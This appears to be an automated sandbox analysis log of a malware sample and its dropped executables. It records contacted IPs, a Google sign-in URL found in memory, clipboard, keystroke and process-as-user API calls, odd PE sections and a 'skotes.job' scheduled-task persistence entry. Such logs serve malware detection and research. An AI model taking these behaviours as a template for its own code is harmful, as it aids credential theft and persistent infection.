Source: firefox.exe, 00000013.00000002.1994435756.000001C8E14B9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.2002154734.00000284B207B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000002.2027402501.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000003.2023118181.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000003.2023376039.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000003.2023861975.00000000013C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdEE

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.222.236.23:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50130 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0022EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

6_2_0022EAFF

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0022ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_0022ED6A

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

6_2_0022EAFF

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0021AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

6_2_0021AA57

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_00249576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

6_2_00249576

System Summary

Binary is likely a compiled AutoIt script file

Source: 4V88JM9ZW2IZ0ZQGW7B.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000000.1953763207.0000000000272000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_6e8a6a9c-7
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000000.1953763207.0000000000272000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_58b46f40-a

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name:
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name: .idata
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name:
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name:
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name: .rsrc
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name: .idata
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: 9b7d422018.exe.26.dr	Static PE information: section name:
Source: 9b7d422018.exe.26.dr	Static PE information: section name: .rsrc
Source: 9b7d422018.exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: a4769912c1.exe.26.dr	Static PE information: section name:
Source: a4769912c1.exe.26.dr	Static PE information: section name: .rsrc
Source: a4769912c1.exe.26.dr	Static PE information: section name: .idata
Source: a4769912c1.exe.26.dr	Static PE information: section name:
Source: 48bf814d33.exe.26.dr	Static PE information: section name:
Source: 48bf814d33.exe.26.dr	Static PE information: section name: .rsrc
Source: 48bf814d33.exe.26.dr	Static PE information: section name: .idata
Source: 7617eef03d.exe.26.dr	Static PE information: section name:
Source: 7617eef03d.exe.26.dr	Static PE information: section name: .rsrc
Source: 7617eef03d.exe.26.dr	Static PE information: section name: .idata
Source: 7617eef03d.exe.26.dr	Static PE information: section name:
Source: 20b68761b3.exe.26.dr	Static PE information: section name:
Source: 20b68761b3.exe.26.dr	Static PE information: section name: .rsrc
Source: 20b68761b3.exe.26.dr	Static PE information: section name: .idata
Source: 572c19a989.exe.26.dr	Static PE information: section name:
Source: 572c19a989.exe.26.dr	Static PE information: section name: .rsrc
Source: 572c19a989.exe.26.dr	Static PE information: section name: .idata
Source: 572c19a989.exe.26.dr	Static PE information: section name:
Source: 66c6d84346.exe.26.dr	Static PE information: section name:
Source: 66c6d84346.exe.26.dr	Static PE information: section name: .rsrc
Source: 66c6d84346.exe.26.dr	Static PE information: section name: .idata
Source: 768041f87c.exe.26.dr	Static PE information: section name:
Source: 768041f87c.exe.26.dr	Static PE information: section name: .rsrc
Source: 768041f87c.exe.26.dr	Static PE information: section name: .idata
Source: 768041f87c.exe.26.dr	Static PE information: section name:
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name:
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name: .idata
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name:
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name:
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name: .rsrc
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name: .idata
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name:
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name:
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name: .idata
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name:
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name:
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name: .rsrc
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name: .idata
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name:
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name:
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name: .idata
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0021D5EB: CreateFileW,DeviceIoControl,CloseHandle,

6_2_0021D5EB

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_00211201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

6_2_00211201

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_0021E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

6_2_0021E8F6

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4	0_3_011818B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181AFC	0_3_01181AFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC	0_3_01181ABC
